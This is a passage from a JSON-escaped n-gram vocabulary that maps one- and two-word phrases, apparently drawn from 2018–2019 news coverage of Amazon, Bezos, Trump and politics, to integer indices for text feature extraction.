posts\": 38478,\n  \"paying 250\": 38479,\n  \"hurts people\": 38480,\n  \"9781541673533 jpgbut\": 38481,\n  \"flyer\": 38482,\n  \"eye right\": 38483,\n  \"historical exas\": 38484,\n  \"ably\": 38485,\n  \"objectives state\": 38486,\n  \"sanders saying\": 38487,\n  \"2013 tweets\": 38488,\n  \"major global\": 38489,\n  \"effectively makes\": 38490,\n  \"naked photos\": 38491,\n  \"signed\": 38492,\n  \"public debate\": 38493,\n  \"mention things\": 38494,\n  \"doesin\": 38495,\n  \"100 given\": 38496,\n  \"passed law\": 38497,\n  \"747 square\": 38498,\n  \"local crime\": 38499,\n  \"llc picked\": 38500,\n  \"emerging week\": 38501,\n  \"beverly\": 38502,\n  \"judge judge\": 38503,\n  \"countered\": 38504,\n  \"p8 r4ee\": 38505,\n  \"edelman trust\": 38506,\n  \"guaranteed day\": 38507,\n  \"reflects bezos\": 38508,\n  \"lobbying additionally\": 38509,\n  \"effects felt\": 38510,\n  \"contributions view\": 38511,\n  \"deals earlier\": 38512,\n  \"journalists believe\": 38513,\n  \"chiusano talking\": 38514,\n  \"solar panel\": 38515,\n  \"target smaller\": 38516,\n  \"storm issued\": 38517,\n  \"view photos\": 38518,\n  \"right travels\": 38519,\n  \"pyeongchang\": 38520,\n  \"benefit indigenous\": 38521,\n  \"monney black\": 38522,\n  \"hasn overtaken\": 38523,\n  \"primary race\": 38524,\n  \"shelter isn\": 38525,\n  \"playing games\": 38526,\n  \"transgender jenner\": 38527,\n  \"seattle homeless\": 38528,\n  \"excited\": 38529,\n  \"largest known\": 38530,\n  \"thailand long\": 38531,\n  \"incredibly cumbersome\": 38532,\n  \"immigration statuses\": 38533,\n  \"know maybe\": 38534,\n  \"historically voted\": 38535,\n  \"quickly trump\": 38536,\n  \"miscellaneous\": 38537,\n  \"pinky\": 38538,\n  \"paid\": 38539,\n  \"amazon moser\": 38540,\n  \"listened counted\": 38541,\n  \"identify customers\": 38542,\n  \"shipping deadlines\": 38543,\n  \"imperfectly noting\": 38544,\n  \"cover events\": 38545,\n  \"2018 wynne\": 38546,\n  \"essentially flat\": 38547,\n  \"koons\": 38548,\n  \"world stage\": 38549,\n  \"online trump\": 38550,\n  \"zebra kids\": 38551,\n  \"newseum\": 38552,\n  \"social scene\": 38553,\n  \"particularly sydney\": 38554,\n  \"everytime\": 38555,\n  \"era methods\": 38556,\n  \"idea briefly\": 38557,\n  \"runaway\": 38558,\n  \"money follow\": 38559,\n  \"unions representing\": 38560,\n  \"228 points\": 38561,\n  \"chipmaker\": 38562,\n  \"tweet describing\": 38563,\n  \"allies arebasically\": 38564,\n  \"tariffs later\": 38565,\n  \"queens amounted\": 38566,\n  \"mentioned amazon\": 38567,\n  \"presidential candidate\": 38568,\n  \"million airplane\": 38569,\n  \"worth maximum\": 38570,\n  \"refreshing honesty\": 38571,\n  \"travel geography\": 38572,\n  \"owns shares\": 38573,\n  \"divorce yemen\": 38574,\n  \"jon brodkin\": 38575,\n  \"janata\": 38576,\n  \"states cities\": 38577,\n  \"sells genetically\": 38578,\n  \"barbie\": 38579,\n  \"tax payers\": 38580,\n  \"trumpmoments411\": 38581,\n  \"bragged\": 38582,\n  \"bernard condon\": 38583,\n  \"facing blowback\": 38584,\n  \"prison bezos\": 38585,\n  \"meltdown rosenstein\": 38586,\n  \"insider bi\": 38587,\n  \"including terrorist\": 38588,\n  \"gaetz does\": 38589,\n  \"initial rate\": 38590,\n  \"unnerving\": 38591,\n  \"amazing guy\": 38592,\n  \"0938et\": 38593,\n  \"yields 2018\": 38594,\n  \"68bil\": 38595,\n  \"falcon\": 38596,\n  \"evidence variety\": 38597,\n  \"term glove\": 38598,\n  \"reported fred\": 38599,\n  \"dock facility\": 38600,\n  \"decorations network\": 38601,\n  \"2870 dollar\": 38602,\n  \"involves michael\": 38603,\n  \"hacking skills\": 38604,\n  \"mass produced\": 38605,\n  \"diffuses\": 38606,\n  \"received joint\": 38607,\n  \"haircut\": 38608,\n  \"imposes tax\": 38609,\n  \"showtime escape\": 38610,\n  \"just concerned\": 38611,\n  \"tv\": 38612,\n  \"struggle mtp\": 38613,\n  \"geekwire photo\": 38614,\n  \"coffee netflix\": 38615,\n  \"group free\": 38616,\n  \"maduro huddled\": 38617,\n  \"official definition\": 38618,\n  \"legislative ratification\": 38619,\n  \"trump casually\": 38620,\n  \"ibm microsoft\": 38621,\n  \"blazer\": 38622,\n  \"tse\": 38623,\n  \"younger days\": 38624,\n  \"shelves recycling\": 38625,\n  \"attacks blackburn\": 38626,\n  \"linux\": 38627,\n  \"benefits environmental\": 38628,\n  \"threats saying\": 38629,\n  \"barely change\": 38630,\n  \"constantly provide\": 38631,\n  \"heffernan\": 38632,\n  \"aclu downloaded\": 38633,\n  \"katie porter\": 38634,\n  \"midsize\": 38635,\n  \"berating mexico\": 38636,\n  \"sam isn\": 38637,\n  \"corporate social\": 38638,\n  \"years jeff\": 38639,\n  \"cover technology\": 38640,\n  \"apple nondominant\": 38641,\n  \"central heating\": 38642,\n  \"stolen goods\": 38643,\n  \"senatepro tempore\": 38644,\n  \"raised prices\": 38645,\n  \"fact checkers\": 38646,\n  \"specifically targets\": 38647,\n  \"state lieutenant\": 38648,\n  \"scale diversion\": 38649,\n  \"cloud data\": 38650,\n  \"doesn seek\": 38651,\n  \"important crime\": 38652,\n  \"republique\": 38653,\n  \"skip\": 38654,\n  \"include service\": 38655,\n  \"600 soybean\": 38656,\n  \"fq2 weighs\": 38657,\n  \"analytics showed\": 38658,\n  \"socialite\": 38659,\n  \"food energy\": 38660,\n  \"day 2019\": 38661,\n  \"public remarks\": 38662,\n  \"irish subsidiary\": 38663,\n  \"accessories company\": 38664,\n  \"reports boycott\": 38665,\n  \"truly committed\": 38666,\n  \"mail rising\": 38667,\n  \"pleasecontinue mattingly\": 38668,\n  \"term interests\": 38669,\n  \"cory gardner\": 38670,\n  \"latest development\": 38671,\n  \"month later\": 38672,\n  \"delivery providers\": 38673,\n  \"challenges unscathed\": 38674,\n  \"fd vea\": 38675,\n  \"quickly shows\": 38676,\n  \"needed\": 38677,\n  \"signs\": 38678,\n  \"mortgage trends\": 38679,\n  \"bezos alluded\": 38680,\n  \"geographic dislocation\": 38681,\n  \"attacked big\": 38682,\n  \"science backed\": 38683,\n  \"national embarrassment\": 38684,\n  \"earbuds investorplace\": 38685,\n  \"time retaining\": 38686,\n  \"arrested jussie\": 38687,\n  \"republican column\": 38688,\n  \"study obtained\": 38689,\n  \"blackmail stepping\": 38690,\n  \"agribusiness sector\": 38691,\n  \"bid declines\": 38692,\n  \"barely growing\": 38693,\n  \"profit colleges\": 38694,\n  \"reports fiscal\": 38695,\n  \"christians don\": 38696,\n  \"women party\": 38697,\n  \"barre pennsylvania\": 38698,\n  \"mail sent\": 38699,\n  \"business area\": 38700,\n  \"chiefs following\": 38701,\n  \"swine\": 38702,\n  \"nipsey hussle\": 38703,\n  \"hasn tweeted\": 38704,\n  \"hosts justice\": 38705,\n  \"contended\": 38706,\n  \"bush cohen\": 38707,\n  \"bull head\": 38708,\n  \"months possible\": 38709,\n  \"readily agrees\": 38710,\n  \"obscurity\": 38711,\n  \"engineers gate\": 38712,\n  \"describes blackmail\": 38713,\n  \"copays drugmakers\": 38714,\n  \"bregman\": 38715,\n  \"americans alphabet\": 38716,\n  \"cities incentives\": 38717,\n  \"policy deal\": 38718,\n  \"taken pretty\": 38719,\n  \"did segment\": 38720,\n  \"trump meeting\": 38721,\n  \"consumer good\": 38722,\n  \"nbc welcomes\": 38723,\n  \"heads plunkett\": 38724,\n  \"krikorian executive\": 38725,\n  \"complicated engagement\": 38726,\n  \"nepal\": 38727,\n  \"recent comments\": 38728,\n  \"heeded\": 38729,\n  \"sienna\": 38730,\n  \"repatriation\": 38731,\n  \"revealed collaboration\": 38732,\n  \"commerce briefing\": 38733,\n  \"amazon seemingly\": 38734,\n  \"buy sell\": 38735,\n  \"inhuman\": 38736,\n  \"having really\": 38737,\n  \"_blank\": 38738,\n  \"daniel donnell\": 38739,\n  \"foods sells\": 38740,\n  \"quadruple whammy\": 38741,\n  \"new base\": 38742,\n  \"receipts venom\": 38743,\n  \"bearish position\": 38744,\n  \"gizmo\": 38745,\n  \"tells ktrh\": 38746,\n  \"says veteran\": 38747,\n  \"bad case\": 38748,\n  \"financial stocks\": 38749,\n  \"amicable divorce\": 38750,\n  \"lawyer dowd\": 38751,\n  \"baseless accusations\": 38752,\n  \"policy analyst\": 38753,\n  \"man working\": 38754,\n  \"heather tom\": 38755,\n  \"country welcomed\": 38756,\n  \"ire jeff\": 38757,\n  \"customary rules\": 38758,\n  \"claiming sex\": 38759,\n  \"seltzer read\": 38760,\n  \"epa concluded\": 38761,\n  \"usps balance\": 38762,\n  \"reuters venezuela\": 38763,\n  \"functionality\": 38764,\n  \"away counterfeit\": 38765,\n  \"push net\": 38766,\n  \"facing generational\": 38767,\n  \"delete facebook\": 38768,\n  \"dowdupont dwdp\": 38769,\n  \"going aboutthis\": 38770,\n  \"shopping holidays\": 38771,\n  \"quarter 2017\": 38772,\n  \"home automation\": 38773,\n  \"yahoo entertainment\": 38774,\n  \"wintour nyt\": 38775,\n  \"large screen\": 38776,\n  \"country launched\": 38777,\n  \"ranking gop\": 38778,\n  \"darr beiser\": 38779,\n  \"issa rae\": 38780,\n  \"markets owing\": 38781,\n  \"validates virginia\": 38782,\n  \"harming large\": 38783,\n  \"rate payment\": 38784,\n  \"knavs\": 38785,\n  \"include acting\": 38786,\n  \"higher housing\": 38787,\n  \"railroad station\": 38788,\n  \"ian bassin\": 38789,\n  \"rejects great\": 38790,\n  \"valuable lesson\": 38791,\n  \"trump opposed\": 38792,\n  \"government leaders\": 38793,\n  \"century america\": 38794,\n  \"635 billion\": 38795,\n  \"conservatives till\": 38796,\n  \"earnings reports\": 38797,\n  \"stuttered\": 38798,\n  \"input\": 38799,\n  \"build jointly\": 38800,\n  \"city wrote\": 38801,\n  \"unmentioned\": 38802,\n  \"containing new\": 38803,\n  \"minutes lesley\": 38804,\n  \"cuomo soon\": 38805,\n  \"judge dismissed\": 38806,\n  \"figuring\": 38807,\n  \"kudlow comments\": 38808,\n  \"falsehoods according\": 38809,\n  \"minded policy\": 38810,\n  \"local representatives\": 38811,\n  \"lawsuit tyger\": 38812,\n  \"local newspaper\": 38813,\n  \"fringe political\": 38814,\n  \"mortar guy\": 38815,\n  \"eduardo sim\\u00f5es\": 38816,\n  \"damage media\": 38817,\n  \"laxity\": 38818,\n  \"regence\": 38819,\n  \"individual changes\": 38820,\n  \"amazon learned\": 38821,\n  \"powers ice\": 38822,\n  \"story apple\": 38823,\n  \"bumpy ride\": 38824,\n  \"cronies want\": 38825,\n  \"facebook spokesperson\": 38826,\n  \"mocked divorce\": 38827,\n  \"bezos pushing\": 38828,\n  \"distinguishing\": 38829,\n  \"orchestral music\": 38830,\n  \"bankrupting\": 38831,\n  \"mega corporation\": 38832,\n  \"college dedicated\": 38833,\n  \"renowned yale\": 38834,\n  \"security analysts\": 38835,\n  \"current plan\": 38836,\n  \"usernames passwords\": 38837,\n  \"erode\": 38838,\n  \"collapsed deal\": 38839,\n  \"earned mnuchin\": 38840,\n  \"bezos mentioned\": 38841,\n  \"drones marijuana\": 38842,\n  \"liedtke\": 38843,\n  \"given special\": 38844,\n  \"ben wikler\": 38845,\n  \"founder tucker\": 38846,\n  \"dietl\": 38847,\n  \"president view\": 38848,\n  \"cohen according\": 38849,\n  \"states keywords\": 38850,\n  \"live gop\": 38851,\n  \"political data\": 38852,\n  \"isabel per\\u00f3n\": 38853,\n  \"cavalier\": 38854,\n  \"latertoday republicans\": 38855,\n  \"simply following\": 38856,\n  \"david nather\": 38857,\n  \"course food\": 38858,\n  \"questions finding\": 38859,\n  \"nyse stt\": 38860,\n  \"doesn sell\": 38861,\n  \"hallmark\": 38862,\n  \"sea asean\": 38863,\n  \"johnson architect\": 38864,\n  \"amazon surrender\": 38865,\n  \"change thousands\": 38866,\n  \"cbs midterms\": 38867,\n  \"5billion\": 38868,\n  \"session started\": 38869,\n  \"appeared punitive\": 38870,\n  \"oil exports\": 38871,\n  \"massive list\": 38872,\n  \"woodward forthcoming\": 38873,\n  \"indicating strong\": 38874,\n  \"shld retreat\": 38875,\n  \"undue burden\": 38876,\n  \"theater chain\": 38877,\n  \"recommended lifting\": 38878,\n  \"close shanghai\": 38879,\n  \"guidance facebook\": 38880,\n  \"nonetheless shares\": 38881,\n  \"mystery writers\": 38882,\n  \"insider lees\": 38883,\n  \"uk workers\": 38884,\n  \"rocky start\": 38885,\n  \"needling\": 38886,\n  \"tariffs democrat\": 38887,\n  \"year usa\": 38888,\n  \"dumped aggressively\": 38889,\n  \"border new\": 38890,\n  \"785 shares\": 38891,\n  \"cookie stores\": 38892,\n  \"blasio boasted\": 38893,\n  \"type varicella\": 38894,\n  \"district race\": 38895,\n  \"day adds\": 38896,\n  \"today najarian\": 38897,\n  \"trump lambasted\": 38898,\n  \"antique laws\": 38899,\n  \"strong defense\": 38900,\n  \"336x336\": 38901,\n  \"waterfront amazon\": 38902,\n  \"quality permanent\": 38903,\n  \"status lot\": 38904,\n  \"comparison walmart\": 38905,\n  \"bezos suggested\": 38906,\n  \"tsx\": 38907,\n  \"new worries\": 38908,\n  \"indicate company\": 38909,\n  \"price know\": 38910,\n  \"planned trip\": 38911,\n  \"just conversation\": 38912,\n  \"occurred addabbo\": 38913,\n  \"gdpr backlash\": 38914,\n  \"media placed\": 38915,\n  \"public pressure\": 38916,\n  \"belga agence\": 38917,\n  \"live announcement\": 38918,\n  \"gig amazon\": 38919,\n  \"grounds trump\": 38920,\n  \"joking\": 38921,\n  \"hirsute design\": 38922,\n  \"president enemies\": 38923,\n  \"affect cloud\": 38924,\n  \"watershed\": 38925,\n  \"placed stories\": 38926,\n  \"years government\": 38927,\n  \"rubber stamped\": 38928,\n  \"breathtaking scale\": 38929,\n  \"kilometers 865\": 38930,\n  \"bookings attributed\": 38931,\n  \"amzn worry\": 38932,\n  \"artist just\": 38933,\n  \"water\": 38934,\n  \"destroy profit\": 38935,\n  \"journey fraught\": 38936,\n  \"catalog sainsbury\": 38937,\n  \"desperation\": 38938,\n  \"journalists including\": 38939,\n  \"activists amazon\": 38940,\n  \"model safety\": 38941,\n  \"shoot trump\": 38942,\n  \"hey did\": 38943,\n  \"insider drone\": 38944,\n  \"report anchor\": 38945,\n  \"just irresponsible\": 38946,\n  \"microchips\": 38947,\n  \"pundit managed\": 38948,\n  \"campaign tony\": 38949,\n  \"oxford comma\": 38950,\n  \"adds information\": 38951,\n  \"asylum seeker\": 38952,\n  \"reported decrease\": 38953,\n  \"economy ivanka\": 38954,\n  \"cont\": 38955,\n  \"region social\": 38956,\n  \"aws contracts\": 38957,\n  \"political calculation\": 38958,\n  \"agus\": 38959,\n  \"rent increases\": 38960,\n  \"google head\": 38961,\n  \"told disney\": 38962,\n  \"deal hit\": 38963,\n  \"zupan\": 38964,\n  \"2017 president\": 38965,\n  \"making amazonian\": 38966,\n  \"media institute\": 38967,\n  \"gw americans\": 38968,\n  \"sue buzzfeed\": 38969,\n  \"act\": 38970,\n  \"continually seizes\": 38971,\n  \"competition watchdogs\": 38972,\n  \"olivia\": 38973,\n  \"kocieniewski details\": 38974,\n  \"modest performance\": 38975,\n  \"eventually customer\": 38976,\n  \"subjecting employees\": 38977,\n  \"underlings sleep\": 38978,\n  \"legal brief\": 38979,\n  \"brooke\": 38980,\n  \"fiercely funny\": 38981,\n  \"attempted\": 38982,\n  \"cap mngmt\": 38983,\n  \"month signed\": 38984,\n  \"just lobbyist\": 38985,\n  \"950\": 38986,\n  \"thing bear\": 38987,\n  \"simplify drug\": 38988,\n  \"held dozens\": 38989,\n  \"border commerce\": 38990,\n  \"called islam\": 38991,\n  \"sides lot\": 38992,\n  \"large tag\": 38993,\n  \"cringy\": 38994,\n  \"longer survive\": 38995,\n  \"theft trump\": 38996,\n  \"street firm\": 38997,\n  \"john santucci\": 38998,\n  \"washington wizards\": 38999,\n  \"talking thousands\": 39000,\n  \"close friendships\": 39001,\n  \"outright\": 39002,\n  \"exclusive gig\": 39003,\n  \"retailers isn\": 39004,\n  \"secon\": 39005,\n  \"business gumball\": 39006,\n  \"party firm\": 39007,\n  \"real question\": 39008,\n  \"hothouse atmosphere\": 39009,\n  \"unjust\": 39010,\n  \"vapor technology\": 39011,\n  \"capacity allowed\": 39012,\n  \"brew\": 39013,\n  \"ami obtained\": 39014,\n  \"security clearance\": 39015,\n  \"year gold\": 39016,\n  \"postal network\": 39017,\n  \"transportation infrastructure\": 39018,\n  \"sent company\": 39019,\n  \"friedman famously\": 39020,\n  \"red mess\": 39021,\n  \"chip stocks\": 39022,\n  \"unites\": 39023,\n  \"emergency declaration\": 39024,\n  \"make good\": 39025,\n  \"cooper flick\": 39026,\n  \"hurt bezos\": 39027,\n  \"make way\": 39028,\n  \"guy used\": 39029,\n  \"requires manual\": 39030,\n  \"major booksellers\": 39031,\n  \"240 points\": 39032,\n  \"encounter nyt\": 39033,\n  \"plans include\": 39034,\n  \"deputy defense\": 39035,\n  \"apart governor\": 39036,\n  \"bezos unless\": 39037,\n  \"scheiber reports\": 39038,\n  \"764\": 39039,\n  \"big big\": 39040,\n  \"fully recover\": 39041,\n  \"74m\": 39042,\n  \"berkman\": 39043,\n  \"knuckle\": 39044,\n  \"tangible community\": 39045,\n  \"new crisis\": 39046,\n  \"vallone paid\": 39047,\n  \"ventures analyst\": 39048,\n  \"justified\": 39049,\n  \"dennis\": 39050,\n  \"scandal continues\": 39051,\n  \"currently deploy\": 39052,\n  \"valuable products\": 39053,\n  \"brand business\": 39054,\n  \"crisis laurence\": 39055,\n  \"opportunity based\": 39056,\n  \"utah coming\": 39057,\n  \"mcgill mmcgill\": 39058,\n  \"australian perspective\": 39059,\n  \"streaming minecraft\": 39060,\n  \"inspect property\": 39061,\n  \"simply chasing\": 39062,\n  \"watch pastor\": 39063,\n  \"green shoots\": 39064,\n  \"regional phone\": 39065,\n  \"reading list\": 39066,\n  \"watchers recommend\": 39067,\n  \"capital letters\": 39068,\n  \"scoop included\": 39069,\n  \"walmarts\": 39070,\n  \"panel focused\": 39071,\n  \"plunging faster\": 39072,\n  \"marne american\": 39073,\n  \"offense\": 39074,\n  \"lived tenure\": 39075,\n  \"argued amazon\": 39076,\n  \"dangers dealing\": 39077,\n  \"year experts\": 39078,\n  \"advisor larry\": 39079,\n  \"korea latest\": 39080,\n  \"fagna laughter\": 39081,\n  \"trump chairman\": 39082,\n  \"facebook success\": 39083,\n  \"public transportation\": 39084,\n  \"seller central\": 39085,\n  \"fcc voted\": 39086,\n  \"amazon jobs\": 39087,\n  \"1721et copyright\": 39088,\n  \"mail shipped\": 39089,\n  \"money open\": 39090,\n  \"inadequate conservative\": 39091,\n  \"representatives appear\": 39092,\n  \"badgered\": 39093,\n  \"watching related\": 39094,\n  \"tougher\": 39095,\n  \"group public\": 39096,\n  \"federal deposit\": 39097,\n  \"tower involving\": 39098,\n  \"dismaying microsoft\": 39099,\n  \"effect closing\": 39100,\n  \"court amazon\": 39101,\n  \"directly marketed\": 39102,\n  \"extending\": 39103,\n  \"policy says\": 39104,\n  \"current acquisition\": 39105,\n  \"shop owners\": 39106,\n  \"airline trade\": 39107,\n  \"dress flared\": 39108,\n  \"requisite hawaiian\": 39109,\n  \"offers way\": 39110,\n  \"comprehensive coverage\": 39111,\n  \"regional flights\": 39112,\n  \"stars running\": 39113,\n  \"costs authors\": 39114,\n  \"raised significantly\": 39115,\n  \"kombucha\": 39116,\n  \"ballad\": 39117,\n  \"phony don\": 39118,\n  \"states flag\": 39119,\n  \"analysis showing\": 39120,\n  \"sally quigley\": 39121,\n  \"graceful\": 39122,\n  \"competitors thanks\": 39123,\n  \"prank\": 39124,\n  \"customers bezos\": 39125,\n  \"black splc\": 39126,\n  \"lobbying issues\": 39127,\n  \"amazon conservation\": 39128,\n  \"wapo employees\": 39129,\n  \"large 169\": 39130,\n  \"summit cohen\": 39131,\n  \"leveraging external\": 39132,\n  \"scandals surrounding\": 39133,\n  \"central role\": 39134,\n  \"quickly bezos\": 39135,\n  \"cuomo advisor\": 39136,\n  \"winning popular\": 39137,\n  \"openly exposed\": 39138,\n  \"signed billion\": 39139,\n  \"disciplined communicator\": 39140,\n  \"performing stocks\": 39141,\n  \"volume mission\": 39142,\n  \"peteralexander kwelkernbc\": 39143,\n  \"presumptive hq2\": 39144,\n  \"prompted rare\": 39145,\n  \"little choice\": 39146,\n  \"natt garun\": 39147,\n  \"writings claiming\": 39148,\n  \"kelsey\": 39149,\n  \"brookings\": 39150,\n  \"timothynoah1 driving\": 39151,\n  \"vendor\": 39152,\n  \"nebulous world\": 39153,\n  \"shteyngart\": 39154,\n  \"hydralight\": 39155,\n  \"users practice\": 39156,\n  \"genius crispy\": 39157,\n  \"mean dan\": 39158,\n  \"military place\": 39159,\n  \"filed notice\": 39160,\n  \"axios organizations\": 39161,\n  \"bans cancer\": 39162,\n  \"attractive despite\": 39163,\n  \"critters\": 39164,\n  \"everyday doctor\": 39165,\n  \"state agents\": 39166,\n  \"microsoft ceo\": 39167,\n  \"server719392 videos\": 39168,\n  \"amazon employees\": 39169,\n  \"house pirro\": 39170,\n  \"rickjnewman\": 39171,\n  \"sheds heavenly\": 39172,\n  \"trot\": 39173,\n  \"integrated business\": 39174,\n  \"125 ct\": 39175,\n  \"privacy faces\": 39176,\n  \"political beefs\": 39177,\n  \"just shocked\": 39178,\n  \"jaclyn london\": 39179,\n  \"component walgreens\": 39180,\n  \"damage children\": 39181,\n  \"julie bykowicz\": 39182,\n  \"regulatory scrutiny\": 39183,\n  \"provide refund\": 39184,\n  \"begun amazon\": 39185,\n  \"1984 orwell\": 39186,\n  \"food benefits\": 39187,\n  \"network correspondent\": 39188,\n  \"raiding military\": 39189,\n  \"recommendations including\": 39190,\n  \"media busineses\": 39191,\n  \"books content\": 39192,\n  \"power privacy\": 39193,\n  \"drone gr\\u00e9goire\": 39194,\n  \"openly support\": 39195,\n  \"bolduan absolutely\": 39196,\n  \"history drama\": 39197,\n  \"equities\": 39198,\n  \"backed delivery\": 39199,\n  \"government corruption\": 39200,\n  \"devices declaring\": 39201,\n  \"collectible trump\": 39202,\n  \"hired sees\": 39203,\n  \"supports jerusalem\": 39204,\n  \"field ms\": 39205,\n  \"commission president\": 39206,\n  \"trump responded\": 39207,\n  \"account maintained\": 39208,\n  \"right word\": 39209,\n  \"including returning\": 39210,\n  \"extra fund\": 39211,\n  \"000 amazon\": 39212,\n  \"deal pricing\": 39213,\n  \"company slack\": 39214,\n  \"inequality traffic\": 39215,\n  \"amazon success\": 39216,\n  \"letter geraldine\": 39217,\n  \"individual push\": 39218,\n  \"knowing\": 39219,\n  \"shopper supposed\": 39220,\n  \"president needs\": 39221,\n  \"shadow ban\": 39222,\n  \"majors\": 39223,\n  \"keeps silicon\": 39224,\n  \"trulyextraordinary john\": 39225,\n  \"development subsidy\": 39226,\n  \"saddle amazon\": 39227,\n  \"fedscoop reported\": 39228,\n  \"potential investigations\": 39229,\n  \"chronicler\": 39230,\n  \"pass daniel\": 39231,\n  \"psychologists say\": 39232,\n  \"explains cnn\": 39233,\n  \"lags\": 39234,\n  \"congress means\": 39235,\n  \"amazon main\": 39236,\n  \"acting fbi\": 39237,\n  \"sen warren\": 39238,\n  \"conclude believe\": 39239,\n  \"list followed\": 39240,\n  \"345\": 39241,\n  \"laws strong\": 39242,\n  \"radical departure\": 39243,\n  \"marketplace leader\": 39244,\n  \"educational\": 39245,\n  \"words el\": 39246,\n  \"adopted policies\": 39247,\n  \"love dick\": 39248,\n  \"pres\": 39249,\n  \"company human\": 39250,\n  \"fair hq2\": 39251,\n  \"polyamory\": 39252,\n  \"existing commercial\": 39253,\n  \"expensive real\": 39254,\n  \"wedding gift\": 39255,\n  \"related real\": 39256,\n  \"billionaire foe\": 39257,\n  \"party line\": 39258,\n  \"conservative activist\": 39259,\n  \"ottawa\": 39260,\n  \"unlikely relationships\": 39261,\n  \"bookselling\": 39262,\n  \"alums\": 39263,\n  \"fqzm3suyxa\": 39264,\n  \"african upheaval\": 39265,\n  \"amazon opportunities\": 39266,\n  \"vendors pentagon\": 39267,\n  \"trump wanted\": 39268,\n  \"amazon median\": 39269,\n  \"regular pair\": 39270,\n  \"sourceamazon fox\": 39271,\n  \"featured\": 39272,\n  \"thailand anusak\": 39273,\n  \"emergency california\": 39274,\n  \"drew criticism\": 39275,\n  \"aquatics\": 39276,\n  \"engendered\": 39277,\n  \"accept cash\": 39278,\n  \"barred states\": 39279,\n  \"catchingly\": 39280,\n  \"delivery driver\": 39281,\n  \"letter amidst\": 39282,\n  \"turkey inspired\": 39283,\n  \"sanders asked\": 39284,\n  \"jonas\": 39285,\n  \"tactics seoul\": 39286,\n  \"earnings spiked\": 39287,\n  \"evt currenttarget\": 39288,\n  \"confident roger\": 39289,\n  \"hyde\": 39290,\n  \"dishonest reporting\": 39291,\n  \"joe crowley\": 39292,\n  \"rev bishop\": 39293,\n  \"featuring tom\": 39294,\n  \"academic institutions\": 39295,\n  \"currently assessing\": 39296,\n  \"amazon cook\": 39297,\n  \"subsidies new\": 39298,\n  \"ceo wealth\": 39299,\n  \"notable recipients\": 39300,\n  \"brought pair\": 39301,\n  \"america sources\": 39302,\n  \"ianniello saying\": 39303,\n  \"actual monopoly\": 39304,\n  \"billionaire wave\": 39305,\n  \"arranging unauthorized\": 39306,\n  \"list according\": 39307,\n  \"press bezos\": 39308,\n  \"mackenzie announcing\": 39309,\n  \"p48zyasb92 mandy\": 39310,\n  \"treated takes\": 39311,\n  \"increased wages\": 39312,\n  \"latest firm\": 39313,\n  \"entertained guests\": 39314,\n  \"external event\": 39315,\n  \"manhood size\": 39316,\n  \"chrome 2018\": 39317,\n  \"spontaneously erupted\": 39318,\n  \"alcoa isn\": 39319,\n  \"whoosh\": 39320,\n  \"shouldstartvideo false\": 39321,\n  \"worth nearly\": 39322,\n  \"genuine intense\": 39323,\n  \"2008 rules\": 39324,\n  \"historical context\": 39325,\n  \"outsourcing jobs\": 39326,\n  \"current administration\": 39327,\n  \"pressure strong\": 39328,\n  \"leigh tami\": 39329,\n  \"competitors amazon\": 39330,\n  \"design\": 39331,\n  \"aggressive weapon\": 39332,\n  \"national events\": 39333,\n  \"sharpton annual\": 39334,\n  \"seeing\": 39335,\n  \"provide workers\": 39336,\n  \"whim state\": 39337,\n  \"crammed\": 39338,\n  \"deliberation amazon\": 39339,\n  \"day educator\": 39340,\n  \"monney\": 39341,\n  \"uber right\": 39342,\n  \"footprint bodes\": 39343,\n  \"ool float\": 39344,\n  \"power related\": 39345,\n  \"nauseating\": 39346,\n  \"sectionuri showsocialsharebar\": 39347,\n  \"politicians frantically\": 39348,\n  \"amazon immune\": 39349,\n  \"results trump\": 39350,\n  \"hob\": 39351,\n  \"global technology\": 39352,\n  \"company unique\": 39353,\n  \"amazon massive\": 39354,\n  \"total worldwide\": 39355,\n  \"gonz\\u00e1lez\": 39356,\n  \"sadh pieces\": 39357,\n  \"administration tried\": 39358,\n  \"images forbes\": 39359,\n  \"net thomas\": 39360,\n  \"impact studies\": 39361,\n  \"page alex\": 39362,\n  \"reaching 1818\": 39363,\n  \"realclear opinion\": 39364,\n  \"progressive left\": 39365,\n  \"value development\": 39366,\n  \"night party\": 39367,\n  \"2018 banff\": 39368,\n  \"known better\": 39369,\n  \"president ads\": 39370,\n  \"beeler\": 39371,\n  \"pay trump\": 39372,\n  \"basic economics\": 39373,\n  \"investigations driven\": 39374,\n  \"ortis mayor\": 39375,\n  \"denoting national\": 39376,\n  \"accessories marshalls\": 39377,\n  \"limited redactions\": 39378,\n  \"brennan according\": 39379,\n  \"second company\": 39380,\n  \"alleviate growing\": 39381,\n  \"rallies man\": 39382,\n  \"sales just\": 39383,\n  \"allowing\": 39384,\n  \"boomers\": 39385,\n  \"c1 script\": 39386,\n  \"cover today\": 39387,\n  \"combination makes\": 39388,\n  \"issue fawning\": 39389,\n  \"previously flirted\": 39390,\n  \"mondays\": 39391,\n  \"bucket listthese\": 39392,\n  \"blasted online\": 39393,\n  \"term challenges\": 39394,\n  \"trip outside\": 39395,\n  \"reo vn\": 39396,\n  \"womans story\": 39397,\n  \"100 special\": 39398,\n  \"conservative leaders\": 39399,\n  \"brochure\": 39400,\n  \"company quietly\": 39401,\n  \"sex discrimination\": 39402,\n  \"200 billion\": 39403,\n  \"avni ny\": 39404,\n  \"statesand\": 39405,\n  \"demonstrations\": 39406,\n  \"venture capitals\": 39407,\n  \"mining shipping\": 39408,\n  \"marks\": 39409,\n  \"conspicuously\": 39410,\n  \"eventually change\": 39411,\n  \"gress united\": 39412,\n  \"industrialized\": 39413,\n  \"obst\": 39414,\n  \"later backtracked\": 39415,\n  \"secretly investigating\": 39416,\n  \"staff appear\": 39417,\n  \"block people\": 39418,\n  \"customers brennan\": 39419,\n  \"directors unlike\": 39420,\n  \"headwinds\": 39421,\n  \"poor shot\": 39422,\n  \"traffic folks\": 39423,\n  \"emoluments case\": 39424,\n  \"personal affairs\": 39425,\n  \"guide salespeople\": 39426,\n  \"fully legal\": 39427,\n  \"employment growth\": 39428,\n  \"7nextprevplay\": 39429,\n  \"reiterated president\": 39430,\n  \"shoulder wrap\": 39431,\n  \"anindelible\": 39432,\n  \"joe pompeo\": 39433,\n  \"discrimination lawsuit\": 39434,\n  \"today marks\": 39435,\n  \"clause violations\": 39436,\n  \"stay alive\": 39437,\n  \"readily visible\": 39438,\n  \"various solutions\": 39439,\n  \"unexpectedly\": 39440,\n  \"accessories online\": 39441,\n  \"2018 obviously\": 39442,\n  \"phillips subsequent\": 39443,\n  \"director sees\": 39444,\n  \"seaport town\": 39445,\n  